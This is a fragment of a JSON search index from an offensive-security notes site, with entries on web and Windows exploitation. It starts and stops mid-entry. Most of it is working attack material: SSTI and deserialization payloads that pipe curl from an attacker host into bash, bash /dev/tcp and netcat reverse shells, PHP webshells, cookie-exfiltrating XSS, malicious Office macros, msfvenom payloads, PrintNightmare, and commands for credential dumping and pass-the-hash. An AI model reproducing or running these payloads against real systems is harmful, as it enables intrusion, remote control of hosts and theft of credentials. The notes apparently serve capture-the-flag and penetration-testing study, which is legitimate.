base64\neyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ== \n```\n\n* Crafting the HMAC signature\n * Convert `K_pub` file to hex\n ```sh\n cat id_rsa.pub | xxd -p | tr -d \"\\\\n\"\n ```\n * Sign the message to get the signature as hex value\n ```sh\n echo -n \"eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ\" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>\n ```\n * Decode hex to binary data and reencode as base64 via python\n ```python\n python -c \"exec(\\\"import base64, binascii\\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\\\")\" \n ```\n\n## Tools\n* [JWTtool](https://github.com/ticarpi/jwt_tool.git)\n* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)\n* https://jwt.io\n","description":"","tags":[],"title":"JSON Web Token","uri":"/exploit/web/jwt/jwt.html"},{"content":"Server Side Template Injection (SSTI)Pass in parameters to control the template.\n\n## Usage\n* Sanity test\n```python\n{{2+2}} \n```\n\n* Flask template LFI\n```python\n{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}\n``` \n\n* Executing commands\n```sh\n{{ ''.__class__.__mro__[1].__subclasses__()[401](\"whoami\", shell=True, stdout=-1).communicate() }}\n```\n\n* RCE on server\n```python\n{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}\n```\n\n## Identification of Template Engine\nIdentify via payload checking\n* Smarty: `a{*comment*}b`\n* Mako: `${\"z\".join(\"ab\")}`\n* Twig or Jinja2\n```sh\n{{7*7}}\n{{7*'7'}}\n```\n\n## Tools \n### TPlmap\n```sh\ngit clone https://github.com/epinna/tplmap.git\npip2 install -r requirements\n```\n\n|HTTP Method|Parameter|\n|-----------|---------|\n|GET|`tplmap -u <url>/?<vulnparam>`|\n|POST|`tplmap -u <url> -d '<vulnparam>'`|\n\n* Using remote command\n```\ntplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd \"cat /etc/passwd\"\n```\n\n### Countermeasure\n* Remove everything in user input but alnum. Passing data, not data to f-string.\n```python\ninput = re.sub(\"[^A-Za-z0-9]\", \"\", input)\ntemplate = \"User input is {{ input }}\"\nreturn render_template_string(template, input=input)\n```\n\n## Bypass\n* Save reverse shell as `rev`\n```sh\n{{request|attr(\"application\")|attr(\"\\x5f\\x5fglobals\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fbuiltins\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fimport\\x5f\\x5f\")(\"os\")|attr(\"popen\")(\"curl $ATTACKER_IP:8000/rev | bash\")|attr(\"read\")()}}\n```\n","description":"","tags":[],"title":"Server Side Template Injection (SSTI)","uri":"/exploit/web/ssti/ssti.html"},{"content":"RCE inside HTTP Request* a.k.a. Log Poisoning\n* User Agent can be filled with php code\n```sh\nGET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1\nHost: 10.10.59.238\nUser-Agent: <?php file_put_contents('monkey.php',file_get_contents('http://<attacker-IP>:<attacker-Port>/shell.php')); ?>\n[...]\n```\n\n* copied from browser as curl command:\n```\ncurl 'http://10.10.211.157/?ext=%20HTTP/1.1&view=./dog/../../../../var/log/apache/access.log' -H \"User-Agent: <?php file_put_contents('monkey.php', file_get_contents('http://10.9.7.193:8000/shell.php'));?>\"\n```\n* go to the access log\n```sh\n10.10.211.157/?ext=.log&view=./dog/../../../../var/log/apache2/access\n```\n* Afterwards visit `10.10.211.157/monkey.php`\n","description":"","tags":[],"title":"RCE inside HTTP Request","uri":"/exploit/web/php/php_user_agent_rce.html"},{"content":"PHP Command InjectionInjecting commands to execute code on the server side via php.\n\n* [Hacktricks](https://book.hackstricks.xyz/pentesting-web/file-upload)\n\n## Blind Command Injection\nAttacker does not register a direct response.\n\n### Detect Blind Command Injection\nTry to save output to URI resource like `output.php`\n\n## Active Command Injection\n","description":"","tags":[],"title":"PHP Command Injection","uri":"/exploit/web/php/command_injection.html"},{"content":"Password Reset\n* Using a password reset while inserting an email address via GET and POST method.\n* `$_REQUEST` as an array favors POST over GET. So, sending the attacker email address via POST with the GET query parameter.\n","description":"","tags":[],"title":"Password Reset","uri":"/exploit/web/php/password_reset.html"},{"content":"Preload Library\n* [Bug report](https://bugs.php.net/bug.php?id=46741)\n* [Chankro repo](https://github.com/TarlogicSecurity/Chankro.git)\n\n## Usage\n* Create lib, find path via `<URL>/phpinfo.php`\n```sh\necho \"#!/usr/bin/env bash\" > rev.sh\necho \"cat /etc/passwd > <basepath>/output.txt\" >> rev.sh\n\npython2 ./chankro.py --arch 64 --input rev.sh --output chan.php --path <basepath>\n```\n* Put into image file via exiftool or write magic header\n* Upload\n","description":"","tags":[],"title":"Preload Library","uri":"/exploit/web/php/preload_lib.html"},{"content":"PHP Filter\n* Include into GET query, and get index page, for example\n```sh\n<URL>/?view=php://filter/read=convert.base64-encode/resource=./dog/../index\n```\n","description":"","tags":[],"title":"PHP Filter","uri":"/exploit/web/php/php_base64_filter.html"},{"content":"Unserialize\n* [Not so secure](https://notsosecure.com/remote-code-execution-via-php-unserialize)\n\n* Serialize via\n```php\n<?php\nclass FormSubmit {\n public $form_file = 'messages.php';\n public $message = '<?php\n if(isset($_GET[\\'cmd\\']))\n {\n system($_GET[\\'cmd\\']);\n }\n?>';\n}\n\nprint urlencode(serialize(new FormSubmit));\n?>\n```\n\n```php\n<?php class file \n { \n public $file = 'rev.php'; public $data = '<?php shell_exec(\"nc -e /bin/bash $TARGET_IP 4455\"); ?>'; \n } \n echo (serialize(new file)); \n?>\n```\n","description":"","tags":[],"title":"Unserialize","uri":"/exploit/web/php/unserialize.html"},{"content":"PHP Payload in Image ExifData\n* Test \n```sh\nexiftool -Comment=\"<?php echo \\\"<pre>Test Payload</pre>\\\"; die(); ?>\" test-USERNAME.jpeg.php\n```\n\n* Build Payload with AV evasion\n```sh\n<?php\n $cmd = $_GET[\"wreath\"];\n if (isset($cmd)){\n echo \"<pre>\" . shell_exec($cmd) . \"</pre>\";\n }\n die();\n?>\n```\n\n* [php obfuscater](https://www.gaijin.at/en/tools/php-obfuscator)\n\n* Obfuscated code with escaped `$`\n```sh\n<?php \\$p0=\\$_GET[base64_decode('d3JlYXRo')];if(isset(\\$p0)){echo base64_decode('PHByZT4=').shell_exec(\\$p0).base64_decode('PC9wcmU+');}die();?>\n```\n* Upload and execute commands with get parameter `?wreath=systeminfo`\n\n## Uploading Reverse through Webshell\n* Parameter for Webshell\n```sh\ncurl http://ATTACKER_IP/nc.exe -o c:\\\\windows\\\\temp\\\\nc-USERNAME.exe\n```\n* Trigger uploaded netcat\n```sh\npowershell.exe c:\\\\windows\\\\temp\\\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe\n```\n","description":"","tags":[],"title":"PHP Payload in Image ExifData","uri":"/exploit/web/php/php_image_exif.html"},{"content":"Forced BrowsingForced browsing is the art of using logic to find resources on the website that you would not normally be able to access. For example let's say we have a note taking site, that is structured like this. http://example.com/user1/note.txt. It stands to reason that if we did http://example.com/user2/note.txt we may be able to access user2's note. \n\n## Usage\n\n## Tools\n\n### wfuzz\n* `pip install wfuzz`\n\n```\nwfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/big.txt --hw 57 http://10.10.28.2/FUZZ/note.txt\n```\n\n|Parameter|Detail|\n|---------|------|\n|-c|Shows the output in color|\n|-z|Specifies what will replace FUZZ in the request. For example -z file,big.txt will read through all the lines of big.txt and replace FUZZ with|\n|--hc|Don't show certain http response codes|\n|--hl|Don't show a certain amount of lines in the response|\n|--hh|Don't show a certain amount of words|\n|--hw|Don't show word response return val of this length|\n\n","description":"","tags":[],"title":"Forced Browsing","uri":"/exploit/web/forced_browsing/forced_browsing.html"},{"content":"Bypassing Rate Limit\n* [Infosecwriteups article](https://infosecwriteups.com/bypassing-rate-limit-like-a-pro-5f3e40250d3c)\n* [Another infosecwriteups article](https://infosecwriteups.com/no-rate-limit-use-like-a-pro-33fc76744a17)\n* [Hacktricks' site](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass)\n\n# Usage\n\n* Add one of the following lines to the header in round robin\n```sh\nX-Originating-IP: 127.0.0.1\nX-Forwarded-For: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nX-Remote-Addr: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Host: 127.0.0.1\nX-Forwared-Host: 127.0.0.1\n```\n","description":"","tags":[],"title":"Bypassing Rate Limit","uri":"/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html"},{"content":"CVE-2021-29447\n* Upload of wav file has following consequences\n * **Arbitrary File Disclosure** for example `wp-config.php`\n * **Server Side Request Forgery** \n\n\n## Usage\n\n* Create `wav` Payload\n```sh\necho -en 'RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00<?xml version=\"1.0\"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '\"'\"'http://<attacker-IP>:<Port>/NAMEEVIL.dtd'\"'\"'>%remote;%init;%trick;]>\\x00' > payload.wav\n```\n* Create `dtd` Payload, which is downloaded from attacker machine by the wp instance. Following payload\n```sh\n<!ENTITY % file SYSTEM \"php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd\">\n<!ENTITY % init \"<!ENTITY % trick SYSTEM 'http://<attacker-IP>:<attackerPort>/?p=%file;'>\" >\n```\n\n* Launch http server\n```sh\nphp -S 0.0.0.0:8000\npython -m http.server\n```\n* Copy returned base64 into `php` file\n```php\n<?php echo zlib_decode(base64_decode('<returnedBase64>')); ?> \n```\n\n\n","description":"","tags":[],"title":"CVE-2021-29447","uri":"/exploit/web/xxe/wp_xxe_.html"},{"content":"XML External Entity (XXE)\nAn XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.\n\nThere are two types of XXE attacks: in-band and out-of-band (OOB-XXE).\n1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.\n\n2. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.\n\n## Document Type Definition (DTD)\nA DTD defines the structure and the legal elements and attributes of an XML document.\n\n* Example file content of `note.dtd`\n```\n<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>\n```\n* !DOCTYPE note - Defines a root element of the document named note\n* !ELEMENT note - Defines that the note element must contain the elements: \"to, from, heading, body\"\n* !ELEMENT to - Defines the `to` element to be of type \"#PCDATA\"\n* !ELEMENT from - Defines the `from` element to be of type \"#PCDATA\"\n* !ELEMENT heading - Defines the `heading` element to be of type \"#PCDATA\"\n* !ELEMENT body - Defines the `body` element to be of type \"#PCDATA\"\n\n \n NOTE: #PCDATA means parseable character data.\n\n* Resulting XML doc follows\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE note SYSTEM \"note.dtd\">\n<note>\n <to>falcon</to>\n <from>feast</from>\n <heading>hacking</heading>\n <body>XXE attack</body>\n</note>\n```\n\n## Replacing XML content\n* Name in the example\n```xml\n<!DOCTYPE replace [<!ENTITY name \"feast\"> ]>\n <userInfo>\n <firstName>falcon</firstName>\n <lastName>&name;</lastName>\n </userInfo>\n```\n* System call inside entity\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>\n<root>\n<name>sdafsa</name>\n<tel>789731421</tel>\n<email>&xxe;</email>\n<password>12345</password>\n</root>\n```\n```xml\n<?xml version=\"1.0\"?>\n<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>\n<root>&read;</root>\n```\n\n* PHP expect using syscalls\n```xml\n<?xml version=\"1.0\"?>\n<!DOCTYPE foo [ <!ELEMENT foo ANY >\n<!ENTITY xxe SYSTEM \"expect://id\" >]>\n<root>\n <email>&xxe;</email>\n <password>12345</password>\n</root>\n```\n\n\n## Tools\n* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe)\n","description":"","tags":[],"title":"XML External Entity (XXE)","uri":"/exploit/web/xxe/xml_external_entity.html"},{"content":"Content Security Policy (CSP)\n* Either in HTTP header or inside DOM's HTML \n* [CSP directives](https://content-security-policy.com/#directive)\n* [CSP evaluator](https://csp-evaluator.withgoogle.com/)\n* [Bypassing csp](https://blog.0daylabs.com/2016/09/09/bypassing-csp/)\n\n## Sources\n* `*` wildcard \n* `none`\n* `self` for sources delivered through the same protocol\n * `default-src 'self';` may not load any script\n* `unsafe-inline`\n* `unsafe-eval` \n* `test.com` loads resources from domain but not subdomains\n* `*.test.com` loads resources from subdomains\n* `data:<content-type>...` critical usage\n* `nonce` loads if nonce is correct. `sha256`, `sha384`, `sha512`\n * [style hasher](https://report-uri.com/home/hash)\n\n## Usage \n\n### JSONP\nFind JSONP endpoints through which to use custom callback functions\n* [JSONBee](https://github.com/zigoo0/JSONBee)\n```sh\n\"><script+src=\"https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)\"></script>\n```\n\n### Misconfiguration\nInsert payload into `src` attribute\n\n### Exfiltration\n* [Beeceptor](beeceptor.com)\n* Local webserver\n* `connect-src` while Ajax/XHR requests are enabled\n* Disguising as an `image-src` or `media-src` source\n```html\n<script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>\n```\nother payloads\n```sh\n<link id=\"csp\" rel=stylesheet href=\"\" /><script nonce=\"abcdef\">document.getElementById(\"csp\").href=\"http://<attacker-IP>:8000/\" + document.cookie;</script>\n```\n* \n```sh\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js\" integrity=\"sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==\" crossorigin=\"anonymous\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js\"></script>\n<div ng-app ng-csp>\n{{$on.curry.call().document.location='https://<attacker-IP>/' + $on.curry.call().document.cookie}}\n</div>\n```\n","description":"","tags":[],"title":"Content Security Policy (CSP)","uri":"/exploit/web/content_security_policy/content_security_policy.html"},{"content":"Client Filters\n* Circumvent client side filters via\n * Disable javascript\n * Use curl\n```sh\ncurl -X POST -F \"submit=<value>\" -F \"<file-parameter>=@<path-to-file>\" <site>\n```\n * Intercept and modify incoming page via Burpsuite\n * Intercept and modify upload of already loaded page via Burpsuite\n","description":"","tags":[],"title":"Client Filters","uri":"/exploit/web/javascript/bypass_filters.html"},{"content":"Prototype Pollution\n* Overwrite built in properties, like constructor, toString of an object.\n* Any other instance inherits properties from `Object.__proto__`. toString() is inherited by all objects.\n## Usage\n* Access to prototype inside object, as an example Javascript\n```javascript\nobj.__proto__\nObject.prototype\n```\n* Create object \n```javascript\nlet obj = {}\n```\n* Create properties inside `__proto__`.\n```javascript\nobj.__proto__.isAdmin = true\n```\n\n### Start Node commands\n* Use \n * `require`\n * `eval`\n\n### Kibana CVE 2019\n* Write reverse bash into variable\n```javascript\n.es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -c \\'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\\'\");//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')\n```\n\n","description":"","tags":[],"title":"Prototype Pollution","uri":"/exploit/web/javascript/prototype_pollution.html"},{"content":"De/Serialization\n* `_$$ND_FUNC$$_function (){}` is executed after parsing\n\n## Example Payloads\n\n* Encode, send and wait with `sudo tcpdump -i <interface> icmp`\n```js\n{\"pwn\": \"_$$ND_FUNC$$_function () {\\n \\t require('child_process').exec('ping -c 10 <attacker-IP>', function(error, stdout, stderr) { console.log(stdout) });\\n }()\"}\n```\n* reverse shell via \n```js\n{\"pwn\": \"_$$ND_FUNC$$_function () {\\n \\t require('child_process').exec('curl <attacker-IP>:8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\\n }()\"}\n```\n","description":"","tags":[],"title":"De/Serialization","uri":"/exploit/web/nodejs/deserialization.html"},{"content":"Insecure Direct Object Reference (IDOR)\nChanging URL parameters.\n","description":"","tags":[],"title":"Insecure Direct Object Reference (IDOR)","uri":"/exploit/web/idor/idor.html"},{"content":"Macros\n* Executes after user clicks enable content\n\n* Open Excel\n* View --> Macros --> Create New Macros \n\n```c\nSub HelloWorld()\n PID = Shell(\"powershell.exe -c Invoke-WebRequest -Uri https://%ATTACKER_IP%/passwd -OutFile C:\\passwd\", vbNormalFocus)\nEnd Sub\n\nSub Auto_Open()\n HelloWorld\nEnd Sub\n```\n\n## Meterpreter\n\n* Directly execute shell without user interaction\n* Configure and run `use windows/misc/hta_server`\n* Macro executes `mshta.exe`\n```c\nSub HelloWorld()\n PID = Shell(\"mshta.exe https://%ATTACKER_IP%:8080/c9496fz.hta\")\nEnd Sub\n\nSub Auto_Open()\n HelloWorld\nEnd Sub\n```\n\n## Msfvenom\n\n* Create reverse shell via \n```sh\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=443 -f vba -o surprise.vba\n```\n","description":"","tags":[],"title":"Macros","uri":"/exploit/windows/macros/macros.html"},{"content":"Service Escalation\n* Check service control permission \n```sh\nGet-Acl -Path hklm:\\System\\CurrentControlSet\\services\\regsvc | fl\n```\n* Add command to system() function inside `service.c`, e.g. add user to administrators group\n```sh\ncmd.exe /k net localgroup administrators user /add\n```\n* Compile via \n```sh\nx86_64-w64-mingw32-gcc service.c service.exe\n```\n* Upload to target and\n```sh\nreg add HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\\Temp\\service.exe /f\nsc start regsvc\n```\n","description":"","tags":[],"title":"Service Escalation","uri":"/exploit/windows/service_escalation/service_escalation.html"},{"content":"Windows Scripting Host (WSH)\n\n## Visual Basic Script (VB Script)\n* `cscript file.exe`, command line scripts\n* `wscript file.exe`, UI scripts\n\n* Example (watch out for the whitespace after path, it has to be included)\n```sh\nSet shell = WScript.CreateObject(\"Wscript.Shell\")\nshell.Run(\"C:\\Windows\\System32\\cmd.exe \" & WScript.ScriptFullName),0,True\n```\n```sh\nc:\\Windows\\System32>wscript /e:VBScript c:\\Users\\user\\Documents\\shell.txt\n```\n\n## Visual Basic for Application (VBA)\n* Access Windows API via Macros\n* Open Word, `view` --> `macros`, give a name and select document in `Macros in`\n* Create reverse shell\n```sh\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f vba\n```\n* Insert into the following Macro Content, `Workbook_Open()` for excel, `Document_Open()` for Word macros\n```sh\nSub Document_Open()\n SHELL\nEnd Sub\n\nSub AutoOpen()\n SHELL\nEnd Sub\n\nSub SHELL()\n <reverse shell goes here> \nEnd Sub\n```\n\n## HTML Application (HTA)\n\n* HTML file including some kind of scripting language like JS, VB, ActiveX\n* `mshta` is used to excecute\n\n### POC\n* Download file via attacker's web server\n* File should look like\n```HTML\n<html>\n <body>\n <script>\n\t var shell= 'cmd.exe'\n\t new ActiveXObject('WScript.Shell').Run(shell);\n </script>\n </body>\n</html>\n```\n* Save Document in a macros supporting file format like `Word 97-2003 Template` and `Word 97-2003 Document`\n\n\n### Reverse Shell\n* Craft reverse shell via `msfvenom`\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f hta-psh -o shell.hta \n```\n* `msfconsole` via\n```sh\nuse exploit/windows/misc/hta_server\n```\n\n## Powershell\n\n* Powershell execution policy can be checked via\n```sh\nGet-ExecutionPolicy\n```\n* Set policy via\n```sh\nSet-ExecutionPolicy -Scope CurrentUser RemoteSigned\n```\n* Bypass via\n```sh\npowershell -ex bypass -File shell.ps1\n```\n* Load [powercat](https://github.com/besimorhino/powercat.git) on attacker machine and load it on the target via\n```sh\nC:\\Users\\thm\\Desktop> powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://<attacker-IP>:8000/powercat.ps1');powercat -c <attacker-IP> -p 4448 -e cmd\"\n```\n* Or use msfvenom\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4447 -f psh -o payload.ps1\n```\n\n","description":"","tags":[],"title":"Windows Scripting Host (WSH)","uri":"/exploit/windows/payloads/windows_scripting_host.html"},{"content":".lnk exploit\n* [Trendmicro's article](https://www.trendmicro.com/en_us/research/17/e/rising-trend-attackers-using-lnk-files-download-malware.html)\n* [mamachine's tool](http://mamachine.org/mslink/index.en.html)\n\n* Target does not even have to open the link directly\n\n```sh \nmslink_v1.3.sh -l notimportant -n shortcut -i \\\\\\\\$ATTACKER_IP\\\\yo -o shortcut.lnk\n```\n* Start a responder and wait for user's hash\n```sh\nresponder -I eth0\n```\n","description":"","tags":[],"title":".lnk exploit","uri":"/exploit/windows/docs/lnk_exploit.html"},{"content":"crackmapexec\n* In general, the syntax is as follows\n```sh\ncrackmapexec smb $DOMAIN -u <user> -p <password>\n```\n* Do not set the domain at the end, it won't work.\n\n\n","description":"","tags":[],"title":"crackmapexec","uri":"/exploit/windows/docs/crackmapexec.html"},{"content":"Password Inside Registry Key\n* Query passwords saved inside the registry\n```sh\nreg query HKLM /f password /t REG_SZ /s\n```\n* Admin Autologon credentials\n```\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\"\n```\n* On attacker, change the credentials on target\n```sh\nwinexe -U 'admin%password' //<target-IP> cmd.exe\n```\n\n## List other Creds\n```\ncmdkey /list\n```\n* Open reverse shell\n```sh\nrunas /savecred /user:admin C:\\shell.exe\n```\n\n\n","description":"","tags":[],"title":"Password Inside Registry Key","uri":"/exploit/windows/docs/password_in_registry.html"},{"content":"Print Nightmare\n* Clone [cube0x0's exploits](https://github.com/cube0x0/CVE-2021-1675.git)\n\n* Create virtual env inside cloned repo and install impacket\n```sh\npip install .\npip2 install .\n```\n\n* Create payload\n```sh\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -f dll -o giftcard.dll\n```\n\n* Prepare msf multi handler\n\n* Inside virtualenv\n```sh\nsmbserver share $(pwd) -smb2support\n```\n\n* Roll the exploit\n```sh\npython CVE-2021-1675.py GROUP/username:'password'@$TARGET_IP '\\\\$ATTACKER_IP\\share\\giftcard.dll'\n```\n\n","description":"","tags":[],"title":"Print Nightmare","uri":"/exploit/windows/docs/printnightmare.html"},{"content":"Potatoes\n* [Hot Potato](https://foxglovesecurity.com/2016/01/16/hot-potato/)\n* [Rotten Potato](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)\n* [Lonely Potato](https://decoder.cloud/2017/12/23/the-lonely-potato/)\n* [Juicy Potato](https://ohpe.it/juicy-potato/)\n* [Rogue Potato](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)\n","description":"","tags":[],"title":"Potatoes","uri":"/exploit/windows/docs/potatoes.html"},{"content":"Responder\n* [lgandx's repo](https://github.com/lgandx/Responder.git)\n\nResponder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication\n\n## Usage\n```sh\nresponder -I tun0 -wrvd\n```\n","description":"","tags":[],"title":"Responder","uri":"/exploit/windows/docs/responder.html"},{"content":"DPAPI\n* [Jarno Baselier](https://jarnobaselier-nl.translate.goog/crack-dpapi-met-cqure-cqtools/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=nui)\n* [Insecurity's take](https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-with-tooling-standalone-dpapi/#The_DPAPILAB-NG_Toolset)\n* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)\n* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)\n\n## Tools\n\n* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)\n* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)\n* Use [CQTools](https://github.com/paulacqure/CQTools.git) with care, __CQMasterKeyAD.exe__ does not work correctly. It will drive you mad. Here is the workaround\nPressuposition is, you want to decrypt a blob with a masterkey, e.g. Keepass which is saved with windows logon DPAPI\n * Get the pvk backup key from the DC via mimikatz\n * Get the entropy via `CQTools/CQDPAPIKeePassDecryptor/CQDPAPIKeePassDBDecryptor.exe`\n * Get the encrypted blob\n * Get the user's Masterkey under `C:\\users\\<user>\\AppData\\Roaming\\Microsoft\\Protect\\<SID>\\`\n * Use dpapilab-ng's `keepassdec.py`\n```sh\n./keepassdec.py --masterkey=path/to/masterkey/ -k /path/to/backup/key/ntds_capi_0_07ea03b4-3b28-4270-8862-0bc66dacef1a.keyx.rsa.pvk --entropy_hex=<found entropy> --sid=S-1-5-21-555431066-3599073733-176599750-1125 path/to/blob.bin \n```\n * Use the decrypted blob to \n```sh\nCQDPAPIKeePassDBDecryptor.exe /k <key> /f <file>.kdbx\n```\n* Open the `*.kdbx` file\n\n","description":"","tags":[],"title":"DPAPI","uri":"/exploit/windows/docs/dpapi.html"},{"content":"Link Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS)\n* __LLMNR__, name resolutions inside the local domain for other hosts\n* __NBT-NS__, identifying hosts in the network by NetBIOS names\n\n* Impersonating the actual service to get credentials\n\n## Usage\n\n* From [responder](./responder.md)\n```sh\nsudo responder -I <NIC> -rdw -v \n```\n\n* Dictionary attack on catched password\n```sh\nhashcat -m 5600 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule\n```\n\n\n","description":"","tags":[],"title":"Link Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS)","uri":"/exploit/windows/docs/llmnr.html"},{"content":"Pass the Hash\n* Authenticate with retrieved hash\n* User evil-winrm or\n```\npth-winexe -U 'admin%hash' //<target-IP> cmd.exe\n```\n","description":"","tags":[],"title":"Pass the Hash","uri":"/exploit/windows/docs/pass_the_hash.html"},{"content":"Impacket\n* [Repo](https://github.com/SecureAuthCorp/impacket)\n\n## Secretsdump\n* `ntds.dit` and `system.hive` are needed\n```sh\nsecretsdump.py -system system.hive -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile hashes.txt\n````\n* Remove everything but the hashes\n* Use it to log in on the target\n```sh\ncrackmapexec smb $TARGET_IP -u <user> -H hashes.txt\n```\n","description":"","tags":[],"title":"Impacket","uri":"/exploit/windows/docs/impacket.html"},{"content":"AlwaysInstalledElevated\n* Watch out for `AlwaysInstalledElevated` keys inside the registry via\n```sh\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\n```\n* Prepare reverse shell on attacker as an msi file\n```\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi\n```\n* start the msi on target\n```sh\nmsiexec /quiet /qn /i C:\\Temp\\shell.msi\n```\n\n## Set Registry Keys\n* Alternative method\n```sh\nreg query HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\Installer\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\n```\n\n\n","description":"","tags":[],"title":"AlwaysInstalledElevated","uri":"/exploit/windows/docs/always_installed_elevated.html"},{"content":"Unquoted Path\n* Path to a service without quotes can be hijacked by inserting other executables and services into the path.\n* Some part of path has to be writeable, windows tries to insert `.exe` instead of a space.\n* Check services via `wmic service get name,displayname,pathname,startmode` and `sc qc <servicename>`\n* Check permissions on paths via `.\\accesschk64.exe /accepteula -uwdq \"C:\\Service Path\\\"`\n\n## Enumeration\n\n* Check paths\n```sh\nwmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\\\\\" | findstr /i /v \"\"\"\n```\n\n* Check permissions on these paths\n```\ncacls \"c:\\program files\\directory\"\npowershell -c \"Get-WMIObject -Class Win32_Service -Filter \\\"Name='<service name>'\\\" | select-object *\"\n```\n\n## Example\n* The unquoted path is `C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe`\n```sh\ncopy C:\\shell.exe \"C:\\Program Files\\Unquoted Path Service\\Common.exe\"\n```\n```sh\nnet start <service>\n```\n\n## Intel about Service\n\n* Access should contain 